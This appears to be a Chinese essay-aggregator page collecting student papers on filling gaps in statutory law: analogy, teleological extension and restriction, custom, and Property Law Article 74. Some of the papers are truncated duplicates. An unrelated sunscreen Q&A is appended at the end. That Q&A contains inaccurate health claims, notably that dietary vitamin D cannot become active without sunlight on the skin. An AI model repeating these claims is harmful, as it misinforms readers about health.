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浅谈法律漏洞填补的进路

时间：2022-05-07 12:34:53 其他范文收藏本文下载本文

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浅谈法律漏洞填补的进路

篇1：浅谈法律漏洞填补的进路

浅谈法律漏洞填补的进路

摘要法律漏洞的填补进路分为法理，类推适用，目的论扩张，目的论限制，其他基于目的考量对法律文本的修正，习惯等几种；所谓法理，乃指法律之原理而言，亦即自法律根本精神演绎而得之法律一般的原则；类推适用系指：将法律真对某构成要件（a）或多数彼此相类的构成要件而赋予之规则，转用于法律所未规定而与前述构成要件相类的构成要件（b）；目的论扩张是指为了贯彻该法律规范的立法目的，必须越过该法律规范的字面含义，将其适用范围扩展至依其文意所不能涵盖的案型；目的论限制是指：对法条文意所覆盖的案型予以特定化，然后将于立法目的冲突的部分排除于其适用范围之外；其他基于目的考量对法律文本的修正是指法官根据法理，立法目的和正义观念试拟规范。本文主要讨论各种进路的内容，适用顺序，并结合《物权法》第74条进行分析。

关键词法律漏洞法理目的论扩张目的论限制

作者简介：李睿熙，中央民族大学。

中图分类号：d90文献标识码：a文章编号：1009-059208-001-02

一、法理

所谓法理，乃指法律之原理而言，亦即自法律根本精神演绎而得之法律一般的原则。法律是以实现公平正义为其最高价值目标，以调和社会生活中相冲突的利益关系为任务的社会规范。因此，法律精神与社会大众对于“社会正义”的理解息息相关。由于社会现象千变万化，而立法不可能穷见规范所有的社会现象；且跟不上社会的发展速度，以至于无法调整新的社会关系。WWw.11665.coM因此，法律时常会出现漏洞，因此，有必要赋予审判人员运用法理补充法律漏洞的权力，以贯彻实践法律的立法目的。

二、类推适用

类推适用系指：将法律真对某构成要件（a）或多数彼此相类的构成要件而赋予之规则，转用于法律所未规定而与前述构成要件相类的构成要件（b）。转用的基础在于：二构成要件-在与法律评价有关的重要观点上—彼此相类，因此，二者应做相同的评价。易言之，系基于正义的要求-同类事物应作相同处理。

三、目的论的扩张

法律规范依其字面含义所包括的案型，对比该法律规范的立法目的来看显得过于狭窄，以至于其字面含义不足以体现其立法目的。因此，为了贯彻该法律规范的立法目的，必须越过该法律规范的字面含义，将其适用范围扩展至依其文意所不能涵盖的案型。由于这里涉及将原不为法律文意所涵盖之案型，包括于该法律之适用范围内的情形，所以，其适用之性质属于法律补充。

目的论扩张，在逻辑上有几点值得注意：

1.目的性扩张，亦属间接推论之一种，其命题是凡m是p（大前提），m1亦为m（小前提），故m1是p（结论），仍系一典型之三段论法。

2.目的性扩张之推论，是演绎而非归纳，亦即由一般到特殊。

3.目的性扩张系就法条之规定意旨而为考量，亦即将原文义所未涵盖而合乎规范意旨之类型，予以包括，以完成其漏洞补充。 [论文网]

目的论扩张最典型的实例是依消费者权益保护法第二条规定消费者是为生活消费需要购买、使用商品或者接受服务，其权益受本法保护；本法未作规定的，受其他有关法律、法规保护。那么，患者能否作为消费者呢？现在通说认为，患者为自身健康需要而去医院接受治疗，其实质就是为了满足自身生存和发展的生活需要，因此把患者作为消费者，用消法加以保护，符合消法的立法目的，因此患者应该属于消费者范畴。此即目的论的扩张。

四、目的论的限制

法律规范依其字面含义所包括的案型，对比该法律规范的立法目的'来看显得过于宽泛，以至于将不同类型的案件置于统一法规的调整之下，造成法律对性质不同的案件，却做出了相同的裁判。为解决该问题，以实现立法目的，故有对法条文意所覆盖的案型予以特定化，然后将于立法目的冲突的部分排除于其适用范围之外。以符合“不同案件，不同处理”的平等要求。目的论限制，与限缩解释的区别在于：其限缩程度是否已经超过了可能文意的范围。在考虑了可能的文意之后如果还是无法提高契合度或者实现价值目标，那么便需要考虑可能文意之外的文意，而法律解释与法律补充的区分便以“可能文意”为主要的分界线。而目的论限制与目的论扩张的相同者为：两者皆以立法意旨作为其调整系争规定之适用范围的依据。

五、其他基于目的考量对法律文本的修正

当法官面对的案件依据法理斟酌其事理时，认为有加以规范裁决的必要，而在法律条文上即使经过了类推适用，或目的扩张、目的限制亦不能找到适用的规范时，便有依据法理，立法目的和正义观念试拟规范的必要。这种做法就是“其他基于目的考量对法律文本的修正”黄茂荣先生认为其为一种“创制”理由在于：在这里所拟引来补充法律漏洞之规定，在实证法上不能找到已具构成要件之形式的规范，以供攀附援引。

六、习惯

对于法律所没有规定的民事案件的裁判，应依照当地习惯。习惯是法律的重要渊源，也是法律的重要补充。

依习惯断案此种做法，在中国古代就已经形成，明清两代，依习惯断案的现象屡见不鲜，在明代，明太祖于洪武三十年颁行《教民榜文》，将几乎所有的民事案件—户婚、田土、轻微斗殴、争占、失火、窃盗、钱债、赌博、擅食田园瓜果、私宰耕牛、亵渎神明、子孙违反教令、师巫邪术及均分水利等范围全部归于里甲老人用习惯处理，只有涉及奸、盗及诈伪等的重大案件才会由官方依法受理。此外，在清末的《大清民律草案》中亦规定将习惯法作为民事法律的渊源。就连在英国统治时期的威海卫，习惯也是一种重要的裁判规则。

七、各种进路适用的顺序

笔者认为对于各种进路适用的顺序问题，根据我国目前的司法实践现状，应按照类推适用，目的性限缩，目的性扩张，习惯，法理，其他基于目的考量对法律文本的修正的顺序，上述顺序，也是法官自由裁量权由小到大的顺序。且无论法官采用何种填补漏洞的方法，都应要求法官在判决书中详细写明论证引用的原因和过程。

（一）存在法律可供类推适用

由于我国长期奉行人民代表大会之上制度，将人民代表大会规定为我国最高的权力机关和立法机关，因此，对于人民代表大会制定的法律，在司法实践中应该尽可能的遵行。此外，我国目前法制建设还处在发展阶段，各地方法院法官素质参差不齐，其对于学说，理论的研究也不尽深刻，因此，有必要对于他们进行法律补充的能力进行限制，以保证同案同判。同时，填补法律漏洞的过程，涉及法官个人的价值判断，当下，各地地方保护主义也还未完全消除，在此情况下，如果给予法官过大的自由裁量权，也容易助长地方保护主义，因为，法官很可能会利用目的性扩张，或是其他基于目的考量对法律文本的修正等手段，将法律愿意变更，以使其服务于地方利益。

（二）不存在法律可供类推适用

在此种情况下，法官一定要把法理放到非常重要的位置。无论是类推

适用行政法规，地方性法规或者其他规范性文件时，法官都必须根据法理，进行价值判断。用以论证法官引用的规定符合公平正义的法治理念，能够实现个案公正。

八、基于以上论证，详解我国《物权法》第七十四条的规定

第七十四条建筑区划内，规划用于停放汽车的车位、车库应当首先满足业主的需要。建筑区划内，规划用于停放汽车的车位、车库的归属，由当事人通过出售、附赠或者出租等方式约定。占用业主共有的道路或者其他场地用于停放汽车的车位，属于业主共有。这一规定主要是针对“现实生活中有的开发商将车位、车库高价出售给小区外的人停放”的现象而对车位、车库的流转所作的必要的限制，在一定程度上体现了法律对市场的干预。其理论基础在于车位、车库本身是业主实现其区分所有权的重要辅助设施，在性质上属于小区的配套设施，在功能上应以满足业主需要有前提。具体操作上，开发商可能会向业主发出要求其在一定期间内决定是否购买车位、车库，也可能在签订购房合同时对此作出明确约定。但此处的“首先满足业主需要”该如何理解，怎样满足业主需要，满足业主什么需要，不满足业主需要的法律后果是什么，都需要用上述方法予以明确

（一）“首先”——优先购买权（承租权）抑或其他

第一种观点认为，本款所称“首先”，是指车位、车库应当首先出租或出售给业主，而不能高价出租或出售给业主以外的第三人，如果业主有能力购买，则应当予以出售；如果业主没有能力购买，则应当予以出租。第二种观点认为，所谓“首先”，应是业主对车位、车库取得优先购买权或优先承租权。开发商或者其他产权人出售、出租车位、车库时，应通知业主，在同等条件下，业主优于本小区之外的人购买或承租。第三种观点虽然认为“首先”不是“优先”，但认为：“在同等条件下，应当优先考虑由区有所有建筑小区的业主享有该停车位或者车库的使用权”。

笔者认为，此处应采用上文所述之目的性扩张的做法，本条的立法目的，即在于对开发商将车位、车库高价出售给小区外的人停放，以谋取利益的行为进行限制，以保护本小区业主的利益，故不应在强调所谓的“优先购买”因为，“优先购买”通常是指在同等条件下，因此，如果强调“优先购买”则开发商可以利用此点将车位售价抬高，以使本小区内业主无法无法达到“优先购买”所需的同等条件，从而可以将车位高价卖给外人以赚取私利。因此，此处应采用第一种观点。

（二）“业主”——购买了商品房的“业主”抑或仅购买了车位、车库的“业主”

《物权法》第七十条规定：业主对建筑物内的住宅、经营性用房等专有部分享有所有权，对专有部分以外的共有部分享有共有和共同管理的权利。而车位、车库亦属于本条所规定的“等专有部分范围”。因此，有学者认为，如果本款所称“业主”既包括购买了商品房的业主，也包括未购买商品房但仅购买了车位、车库的业主，只要购买了建筑区划内的车位、车库即为本小区的业主。但如此理解，该法条的立法目的显然难以达到，因此，此处业主的含义应采取目的性限缩的方法予以明确，将业主的范围仅仅理解为在小区内有住宅或经营性用房的业主。

（三）“业主的需要”——“现实需要”抑或“潜在需要”？“购买需要”抑或“使用需要”

“满足业主需要”满足的是“现实需要”还是“潜在需要”？笔者认为，此种情况应该分类讨论。对于商品房的现售或预售，如全部销售完毕，开发商在合理的期间内征求了业主的意见，且满足了业主的需要之后，可以对外出售或出租；如指售出了一部分，开发商只有在即满足了售出部分业主的现实需要，又考虑未出售单元的潜在业主的可能需要之后，才能对外出售或出租。

“满足业主需要”满足的是“购买需要”抑或“使用需要”？笔者认为，此处应该采用目的论限制的方法：满足业主需要只能是合理的需要，亦即，只要满足业主基本的停车需要，即可认定已经满足。

（四）建设单位如违反本款规定，将车位、车库通过出售、赠与或者出租等方式处分给业主以外的人，其效力如何认定

笔者认为，此处应该类推适用民法其他条文来填补此漏洞，对于受损害业主如何保护自己权利的问题，应类推适用《物权法》第八十三条之规定，请求开发商停止侵害、赔偿损失。对于建设单位如违反本款规定，将车位、车库通过出售、赠与或者出租等方式处分给业主以外的人，其效力如何的问题，应类推适用《民法通则》第五十八条第五项之规定，认定开发商的行为无效，并责令恢复原状。

参考文献：

[1]杨仁寿.法学方法论.中国政法大学出版社..

[2]黄茂荣.法学方法与现代民法.法律出版社..

[3]朱岩，高圣平，陈鑫.中国物权法评注.北京大学出版社.2007.

[4]舒可心.对〈物权法〉第六章第七十四条的理解.现代物业.2007（7）.

[5]王泽鉴.民法思维——请求权基础理论体系.北京大学出版社..

篇2：法律解释与法律漏洞的填补

法律解释与法律漏洞的填补

中国政法大学级法理学专业硕士研究生姬晓红

前言

法律规则是以高度抽象、概括的规范和概念的形式出现的，而规范和概念又是以文字的形式表达的。因此许多法学家认为自从有了成文法，就有了对法律的理解和解释活动。然对成文法的解释绝非一件易事。欲使成文法能够最大限度的释放其光芒，解释者不仅要解读法律规范和法律体系的各个层面，亦需要以犀利的目光直视和剖析纷繁复杂的社会现实以及自身的价值体系和理论框架，因此法律解释学以其实用性、技术性和知识性的特点作为法学的一个分支学科荣登历史的舞台，改变了以往将法律解释仅仅局限在简单的文本解释的情况，而将视野投向以司法适用中的规则和事实的互动关系为内容的深度阐释。本文作者通过阅读数本专家名作，对法律解释、法律漏洞以及法律漏洞的补充有了一个粗浅的认识，遂作此文。

一、法律解释

“法学之目的，实不应仅以研究成文法为己足，而应研究探寻居于指导地位之活生生的法律，据以论断成文法之善恶臧否”。故法律解释的目的“并不在于单纯地理解既存的法律文本、解释法律规则，而在于在此基础上结合具体的个案事实，由法官得出有说服力的判决”。也就是说法律解释的目光应驻足于现实中的成文法，同时应该兼顾法律的稳定性和法律的理想即公平、正义，最终使成文法的功能在司法中得到最大的发挥。我认为法律解释有广义和狭义之分。

（一）、狭义的法律解释

传统的法律解释亦即狭义的法律解释，是指当法律规定不明确的时候,以文义、体系、法意、比较、目的、合宪等解释方法，澄清法律疑义，使法律含义明确化、具体化、正确化。狭义的法律解释重在在文义的限度内探究立法者的意图，分为文义解释、体系解释、法意解释、比较解释、目的解释及合宪解释。文义解释是指依照法律条文的表面意思以及通常的使用方法所作的解释。其依据是法律规范属于社会规范，由于其针对的对象是社会的全体社会成员，因此除了个别的专业用语有其特有意义作解释外，应当以文句所具有的通常意义作解释。文义解释在法律解释上有其不可磨灭的意义，因为无视于法律条文就会使法律有名无实，法律也将失去其安定性。但是拘泥于文义解释，固步自封，奉法律文字为金科玉律，就会导致法律僵化，使法律成为“死法”。体系解释是指以法律条文在法律体系中的地位，即依其编章条款目的前后关联位置或相关法条的意思阐明规范意旨的解释方法。体系解释可以分为扩张解释、限缩解释、反对解释、当然解释四种。体系解释能够维护法律体系之一贯及概念用语的一致，在法律解释上确具价值。但是如果利用解释过于机械，拘泥于形式，就会忽略法律的实质目的。法意解释又称历史解释或沿革解释，是指通过探求立法者制定法律时的价值判断以及其作此价值判断所希望实践的目的来作解释。法意解释要参考立法过程中的一系列记录、文件、备忘录等，对立法者意思的理解不应为立法者当时之意思，而应为立法者处于今日所应有的意思。该解释具有“范畴性功能”，可划定文义解释的活动范围，使文义解释不至于离经叛道。比较解释是指参酌外国立法及判例学说，作为诠释本土法律的参考资料，以实践其规范目的的解释方法。比较解释并非仅比较多国的法律条文，且更多的是比较各国相关的判例学说，从而窥探法律的本意，进而适应时代的潮流。目的解释是以法律规范目的阐释法律疑义的方法。法律规范的目的在于维护整个法律秩序的体系性，个别规定和多数规定都受规范目的的支配。通过目的解释，各个法律条文间的不完整性、不完全性均能完整顺畅而且没有冲突。目的解释与法意解释的不同在于，前者从法律目的着眼，重在阐释法律的整体意旨，法意解释则从历史沿革的角度出发，重在探求个别规范的法律意旨。合宪解释是指以较高级别或宪法的意旨对位阶较低的法律规范意义解释的方法。这种解释方法意图通过实践位阶较高的法律规范的目的，使法律秩序井然有秩。

此外还有论理解释。“典型的法律解释是先依文义解释，而后再继以论理解释。非如此解释，为非典型的解释方法”。论理解释又称社会学的解释，与体系解释相同，是以文义解释为基础的，当文义解释有多种结果时，为使法律条文明确化而使用的一种操作方法。论理解释与体系解释的区别在于“乃体系解释在确定文义的涵义时，需考虑法律条文间的各种关联关系，使条文的体系完整，不胜矛盾或冲突情事；而社会学的解释则偏重于社会效果的预测及其目的之考量”。论理解释的这种社会效果的预测属于经验事实的探求，它以社会事实的调查为依据，具有科学性，符合时代潮流的需要。

（二）广义的法律解释

广义的法律解释不仅包括狭义的法律解释还包括法律补充。法律补充分为价值补充和法律漏洞补充两个部分。

1、价值补充

价值补充是指对不确定的法律概念及概括条款而言的一种解释方法。价值补充作为广义的法律解释存在的前提是法律是有价值目的取向的。也就是说“人类在这里利用规范追求某些目的，而这些目的又是基于某些（基本的）价值决定所选定。这些目的即（基本的）价值决定便是法律意旨所在。是故，法律解释应取向价值乃自明的道理。” 人类并非为有规范而作规范，而是为了以规范实现公平正义的要求。不确定的概念和概括条款在民法和刑法等实体法律中均有所体现。“法院就不确定的规范或概括条款予以价值补充，须适用社会上可以探知认识之客观伦理秩序、价值、规范及公平正义之原则，不能动用个人主观的法律感情。” 法官运用价值补充解释法律时，应对具体案件依照法律的精神、立法目的和实质的公平与以具体化，不可僵化。

2、法律漏洞补充

法律对于应规定的事项由于立法者的疏忽或情势变更，致就某一法律事实未规定或规定不清，且依狭义的法律解释又不足以使规范明确时，法官应探求法律规范目的对法律漏洞加以补充。这里的法律漏洞补充作为法律漏洞的一种补充方法，仅限定为在法律可能的文义之外和价值补充以外的补充。法律漏洞的补充从目的的角度将有利于权衡各个不同主体的利益，创造和维持共同生活的和平；从体系的'角度讲，有利于清除秩序中的“体系违反”，使法律所追求的价值得到圆满地实现。

二、法律漏洞

“法律的功能在于帮助人类将正义实现在其共同生活上。所以只要一个生活事实正义地被评定为不属于法外空间的事项，亦即法律应予规范的事项，那么如果法律（A）对之无完全的规定或（B）对之所作的规定相互矛盾或（C）对之根本未作规范，不管法律对与它类似之案型是否作了规范或（D）对之作了不妥当的规范，则法律就该生活事实而言，便有漏洞存在。”

（一）法律漏洞的产生有如下几个原因：

1、立法者对所涉案型未予考虑或考虑得不够周详；

2、社会现象的日新月异，现行环境及其价值判断不断的发生变化，原有法律规定对现实不相适应；

3、立法者对于认识不成熟的问题不做规范，而有意让诸司法机关和学术界来逐步完成的事项。

（二）文献上有关法律漏洞的重要分类

1、有认知的漏洞和无认知的漏洞

这是针对立法者制定法律时对系争的规范的不圆满状态是否有所认识为标准的。如果立法者在制定法律时对系争法律规范的不圆满状态已经有所认知，但是立法者唯恐操之过急会使法律规范对系争案型作出不成熟的规范进而妨碍法律的进化，而让诸司法机关在学术界的支持下逐步完成的法律漏洞属于有认知的法律漏洞。反之如果由于立法者思虑不周，对应予规范的事实未予规范或未完全规范或者规范有矛盾，则这种漏洞为无认知的法律漏洞。无论是认知的漏洞还是无认知的法律漏洞，都是立法者在立法时就已经存在的，因此均称为“自始的法律漏洞”。

2、自始的法律漏洞和嗣后的法律漏洞

这是以系争的法律漏洞是在系争的法律制定时存在还是在制定之后存在为标准的。立法者制定法律时就已经存在的法律漏洞为自始的法律漏洞；如果制定法律时系争的法律漏洞并不存在，但是随着社会政治、经济、文化、技术、伦理价值观念或其他事实的变迁而发生的漏洞为嗣后的法律漏洞。

3、部分法律漏洞和全部法律漏洞

这是以对认为有必要规范的问题是否完全被规范为标准所作的分类。如果对被判断为有必要规范的问题完全没有规范则为全部漏洞；如果虽已经作了相应的规范，但是规范的不完整的则为部分漏洞。

4、真正的漏洞和不真正的漏洞

真正的漏洞是指对法律应当予以规范的案型根本就未加以规范；而不真正的漏洞是指对应当予以规范的案型虽有所规范但是规范的并不适当，具体表现为其规范的过于宽泛，未对一般规范作适当的限制。这一用语在法学上已经被运用得过滥，并常不指称同一之内容，以至于在法学上已失其传达消息的能力。

5、明显的漏洞和隐藏的漏洞

如果法律对依该规范的意旨应当予以规范的行为未加以规范，则为明显的法律漏洞；如果法律对应当予以规范的案型虽然加以规范，但是却未对该案型的特别情形在规范上加以考虑并相应地予以特别规定，则这种应有而未有的特别规定就是隐藏的法律漏洞。这种类型的划分是被相对的确定下来的，其划分的标准是看它的发生是否因对一个相对的一般规定的应存在而不存在的限制来定的。

6、禁止拒绝审判式漏洞、目的漏洞及原则的或价值的漏洞

禁止拒绝审判式漏洞是指法律提出一个法律问题，但却没有给出相应的答案，它的特征在于一个生活事实被确定于法定空间，法律应当予以规范，法院也应当予以审判，但是事实上实证法中却没有相应规范支持。目的漏洞是指禁止拒绝审判式漏洞以外的基于法律的目的所要求的法律的补充。这种漏洞通过类推适用、举轻以明重、举重以明轻、目的性限缩、目的性扩张等被认定。原则的或价值的漏洞是指某一法律原则或法律价值已经被证明为现行法律秩序的一部分，但是实证法中却未获得足够的具体化。

三、法律漏洞的填补

本文将法律漏洞定位为法律没有完全规定或对之规定相互矛盾或完全未作规定。对法律漏洞中无完全规定或规定有矛盾的事项，采取狭义的法律解释的方法予以填补；对法律完全没有予以规范的事项，则应采取法律补充的方式予以补充。

（一）关于法律漏洞的性质，黄茂荣先生在其《法学方法与现代民法》中将其界定为“（一）法律解释活动的继续；（二）造法的尝试”。具体言之：

1、法律解释活动的继续

作者认为此“法律解释活动”为本文所说的狭义法律解释活动，这种法律解释活动在法律“可能的文义”范围内位置；而法律补充是狭义的法律解释活动的继续，是在法律“可能的文义”范围外对法律所作的填补，是对狭义的法律解释活动的继续和深化。法律补充在法律生活中的作用体现在：其一，法院通过裁判对不适当的法律解释进行变更，使其符合成文法的立法意旨；其二，在根据狭义的法律解释仍然会有多重意思理解时，通过法律补充确定该法律解释的具体意义，从而排除原有法律解释的不确定性。

2、造法的尝试

杨仁寿先生在其所作的《法学方法论》中，认为“漏洞补充一言以蔽之，实即‘法官造法’，此在英美法系国家殆视为当然，在大陆法系国家，其判例的效力虽不若英美各国所具权威，为无可否认，其亦具造法的功能”。而黄茂荣先生在其所著《法学方法与现代民法》中则认为法官所作之法律补充只是造法的一种尝试。本文采后一观点。其理由为：（1）法官所作的法律补充是其司法权的行使，追求的是个案的公正。也就是说“法官所作的法律补充的功能是将裁判存于具体案件的争执，而不是为与该案件相同的案型补充的制定一个一般的规范”。（2）当一个裁判被选为判例时，并不使存在于判例中的法律见解取得法律的地位，当然不具有强制的规范效力。判例先例中的法律见解在规范上的意义反映在法院的裁判上是法院对其的斟酌义务，而非遵循义务。（3）当一个判例中的法律见解不正确时，法院可以直接依据其职权在新判例中予以变更；然而认为法律规定不正确时，法院通常不能直接予以修正。综上所述，法院所作的法律补充只是造法的尝试而非直接的造法。“由法院之造法的尝试所表现出来的‘判决先例中之法律见解’将来可能通过惯行的形成，即一般的法律确信的产生而转化为习惯法，但也可能或早或迟地被抛弃” 。

（二）法律补充对法律漏洞的填补方法主要有四种，即类推适用、目的性限缩、目的性扩张以及创造性的补充。具体言之：

1、类推适用

类推适用系基于平等原则，以“相类似之案件，应为相同之处理” 为法理依据，亦即将法律的明文规定适用到虽没有法律直接规定，但其法律的重要特征与该法律明文相同的类型。

依据德国学者库德格在《法律上逻辑》一书，类推适用的运用具有三个特点。日本学者碧海纯一另外加了一个特点，共计四个特点。兹详述如下：（1）类推适用是间接推论的一种，用一般三段论理论表示为：M是P(大前提)，S类似M（小前提），故S是P(结论)。在此推论中，必须经由“S类似M”这一命题穿针引线才能成功地完成S是P的结论。（2）类推适用是“特殊到特殊”和“个别到个别”的推论。它不同与演绎和归纳推理，其前提必须是“个别”或“特殊”的命题，不能是一般的命题。因此其大前提不能为“凡M都是P”，因为M只是一个特殊的命题。（3）类推适用所获得的结论并非是绝对可靠的，一般的三段论推理中如果前提为真，则结论莫不为真，但是由于类推适用中的三段论推理中的大前提只是一个“个别”或“特殊”的命题，且类推适用的基础又涉及人的价值判断，因此其所得到的只是一个不太确实的结论而已，有时甚至会导出错误的结论。（4）类推适用是基于“类似性质”或“类似关系”所得出的推论。依“类似关系”所为经验科学上的类推恒要求结论具有“真实性”，而根据“类似性质”所为法学上的类推适用，则重在结论的“妥当性”，至于推理结论的真或假则在所不问。

2、目的性限缩

目的性限缩仍然是基于平等的原则，所不同的是其以“不同之案型应为不同之处理”为法理依据。意即法律文义所涵盖的案型相较于立法意旨而言过于宽广，为了消除这种缺失，则对该文义所涵盖的案型类型化，然后将与该立法意旨不符的部分排除于其所适用的范围之外。目的性限缩与限制解释的区别在于限缩的程度是否损及文义的核心。如果已经损及文义的核心则为目的性限缩，如果没有损及文义的核心，则为限制解释。关于目的性限缩在逻辑上应当注意以下几点：（1）目的性限缩属于间接推理的一种，其逻辑命题的形式为：凡M都是P（大前提），M1非M（小前提），故M1非P（结论）。（2）目的性限缩的推论是演绎式推理而非归纳推理，也就是说其推理的过程是从一般到特殊。（3）目的性限缩是以规范的意旨为考量的，也就是说其视法律目的将案型分类，将不符合规范意旨的予以剔除。（4）目的性限缩作为法律漏洞的补充方法有利于被告，在刑法中亦可使用。

3、目的性扩张

目的性扩张是指法律文义所涵盖的类型相较于立法意旨而言，显然过于狭窄，以至于立法意旨不能完全的贯彻。因此通过越过法律规定的文义，将法律适用的范围扩张到原法律规定文义不包括的案型。目的性限缩和目的性扩张都是以立法意旨作为其调整系争法律规定适用范围的依据。目的性扩张所要处理的案型与法律的明文规定并非相同，它是由于立法者立法时思虑不周而对其所欲规范的案型太过具体以至对符合立法意旨的部分未予规定的案型。因此为贯彻立法意旨，应放松法律规定的类型化，以兼容其他适当类型。目的性扩张在逻辑上应注意以下几点：（1）目的性扩张也是间接推理的一种，其逻辑命题的形式为凡M都是P（大前提），M1为M（小前提），故M1为P（结论）。（2）目的性扩张也是从一般到特殊的演绎推理。（3）目的性扩张以法律意旨为考量，将原文义未涵盖的而合于规范意旨的案型包括其中。

4、创造性的补充

创造性的补充是指拟处理的案型依据法理应当加以规范，但是实证法上纵使经由类推适用、目的性限缩、目的性扩张都不能找到规范的依据时，则可以根据法理和事理，试拟规范。这一补充方法随着社会结构的变迁，其适用已经越来越重要。例如各国民法上有关“法律有规定的适用法律规定；法律没有规定的，依据习惯法；没有习惯法的，法院依法理断案”的规定就是这一方法适用的体现。这里所说的法理是就法律的原理而言的，是从法律规定的根本精神演绎出来的经学说和判例长期经营，并利用社会学、历史学、分析比较等方法业已成型的存在状态。由于社会现象变化万千，法律不可能面面俱到，因此当其他法律解释和补充方法不足以弥补法律的漏洞时，授权法官运用法理贯彻法律意旨是至为重要的。

结束语

由于成文法的滞后性和不完善性，法律漏洞的存在在所难免，如何通过法律的解释来填补法律漏洞实是一项任重而道远的工作。笔者但求在漫漫的求学途中，在老师和同学的帮助指导下，能对此一问题有更加深刻地认识。

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篇3：法律解释与法律漏洞的填补

法律解释与法律漏洞的填补

中国政法大学2002级法理学专业硕士研究生姬晓红

前言

一、法律解释

（一）、狭义的法律解释

传统的法律解释亦即狭义的法律解释，是指当法律规定不明确的时候,以文义、体系、法意、比较、目的.、合宪等解释方法，澄清法律疑义，使法律含义明确化、具体化、正确化。狭义的法律解释重在在文义的限度内探究立法者的意图，分为文义解释、体系解释、法意解释、比较解释、目的解释及合宪解释。文义解释是指依照法律条文的表面意思以及通常的使用方法所作的解释。其依据是法律规范属于社会规范，由于其针对的对象是社会的全体社会成员，因此除了个别的专业用语有其特有意义作解释外，应当以文句所具有的通常意义作解释。文义解释在法律解释上有其不可磨灭的意义，因为无视于法律条文就会使法律有名无实，法律也将失去其安定性。但是拘泥于文义解释，固步自封，奉法律文字为金科玉律，就会导致法律僵化，使法律成为“死法”。体系解释是指以法律条文在法律体系中的地位，即依其编章条款目的前后关联位置或相关法条的意思阐明规范意旨的解释方法。体系解释可以分为扩张解释、限缩解释、反对解释、当然解释四种。体系解释能够维护法律体系之一贯及概念用语的一致，在法律解释上确具价值。但是如果利用解释过于机械，拘泥于形式，就会忽略法律的实质目的。法意解释又称历史解释或沿革解释，是指通过探求立法者制定法律时的价值判断以及其作此价值判断所希望实践的目的来作解释。法意解释要参考立法过程中的一系列记录、文件、备忘录等，对立法者意思的理解不应为立法者当时之意思，而应为立法者处于今日所应有的意思。该解释具有“范畴性功能”，可划定文义解释的活动范围，使文义解释不至于离经叛道。比较解释是指参酌外国立法及判例学说，作为诠释本土法律的参考资料，以实践其规范目的的解释方法。比较解释并非仅比较多国的法律条文，且更多的是比较各国相关的判例学说，从而窥探法律的本意，进而适应时代的潮流。目的解释是以法律规范目的阐释法律疑义的方法。法律规范的目的在于维护整个法律秩序的体系性，个别规定和多数规定都受规范目的的支配。通过目的解释，各个法律条文间的不完整性、不完全性均能完整顺畅而且没有冲突。目的解释与法意解释的不同在于，前者从法律目的着眼，重在阐释法律的整体意旨，法意解释则从历史沿革的角度出发，重在探求个别规范的法律意旨。合宪解释是指以较高级别或宪法的意旨对位阶较低的法律规范意义解释的方法。这种解释方法意图通过实践位阶较高的法律规范的目的，使法律秩序井然有秩。

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篇4：法律解释与法律漏洞的填补论文

法律解释与法律漏洞的填补论文

前言

一、法律解释

“法学之目的，实不应仅以研究成文法为己足，而应研究探寻居于指导地位之活生生的法律，据以论断成文法之善恶臧否”。故法律解释的目的“并不在于单纯地理解既存的法律文本、解释法律规则，而在于在此基础上结合具体的个案事实，由法官得出有说服力的判决”。也就是说法律解释的目光应驻足于现实中的成文法，同时应该兼顾法律的稳定性和法律的理想即公平、正义，最终使成文法的'功能在司法中得到最大的发挥。我认为法律解释有广义和狭义之分。

（一）、狭义的法律解释

此外还有论理解释。“典型的法律解释是先依文义解释，而后再继以论理解释。非如此解释，为非典型的解释方法”。论理解释又称社会学的解释，与体系解释相同，是以文义解释为基础的，当文义解释有多种结果时，为使法律条文明确化而使用的一

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篇5：填补夏日防晒十一大漏洞

气温的逐日升高让你清晰的感受到肌肤在紫外线面前的怯懦。防晒产品齐齐上阵，为了防晒保白乱做一团，但是UVA、UVB、SPF、PA……这么多关于防晒的符号你搞清楚了多少？还有诸多关于防晒的小知识，你明白吗？现在就来补补先吧。

防晒第一问：搽上SPF15的防晒霜后，皮肤被晒红所需的时间是不是不搽防晒霜时的15倍？

答：这是一个错误解释。SPF(防晒系数)指的是波长较短但是却能晒伤皮肤的高有量的紫外线B波。如果把SPF解释成持续防晒时间，容易使人误解为在有效防晒时间内，即使受到紫外线的照射也无妨。事实上，即使搽了防晒霜也不可能将紫外线的影响减少到0。所以正确的理解是，搽上SPF15防晒霜后所受到的紫外线的量是不搽防晒霜时的1/15。

防晒第二问：防晒霜也需要使用卸妆产品清除吗？

答：防晒霜的成分和粉底十分相似，所以不使用卸妆产品的话，就不能彻底清除干净。建议使用油分含量较少的卸妆凝胶。

防晒第三问：如果我的彩妆品有防晒功效，还需要搽防晒霜吗？

答：确实，你的粉底、粉饼都有够高的防晒指数，但是你不能保证它们永远不脱妆，如果那样，局部肌肤就会瞬间变得毫无防护。因此，最保险的做法就是在涂抹防晒霜的10分钟后，再涂抹粉底等彩妆。

防晒第四问：每次涂防晒霜，脸上都油油亮亮的，怎么才能解决这个问题呢？

答：脸上又白又亮是二氧化肽颗粒在“捣蛋”，它会在脸上形成一种有效的物理保护层。为了减少日光直射肌肤，提高反射率，涂抹防晒霜时尽量往一个方向轻拍，而不是在脸上打圈涂抹。如果你不是去海边或长时间在户外，那么你也可以选择一些质地较轻薄、无油配方、防晒指数适中的防晒产品。

防晒第五问：是不是必须通过晒太阳，才能获取足量的维生素D呢？

答：我们现在的饮食品种丰富，所以很多人认为从食物中也可以摄取维生素D。但是，我们需要的不是单纯的维生素D，而是能够提高肠道对钙的吸收，从而强化骨骼的活性维生素D。而只有在紫外线从皮肤进入到体内后，普通的维生素D才会转变成活性。但是也用不着特地做日光浴，只要每天让手掌沐浴阳光5至10分钟就可以了。手掌处皮肤的角质层比其他地方都厚，所以不容易长斑

防晒第六问：我平日里对紫外线总是万般注意，可是一到度假时就容易放松警惕，等有感觉的时候已经被晒伤了，有什么急救措施吗？

答：如果一下子吸收了大量的紫外线，就赶紧给肌肤降温吧。这样做并不仅仅是减轻皮肤上那种火辣辣的感觉。事实上，降温还具有抑制色斑生成的作用。受到紫外线照射后，皮肤中会释放出一种名叫“组胺”的物质，这是一种广泛分布于生物体内的神经传递素之一。导致色斑形成的原因有好多，像这个组胺就会刺激制造黑色素的黑素细胞，结果就使黑色素不断地被制造出来，给皮肤降温就能够抑制组胺的释放。但是千万不要直接接触肌肤哦，特别是敏感性肌肤要尤其当心。用裹着冰块的湿毛巾敷脸是个不错的方法

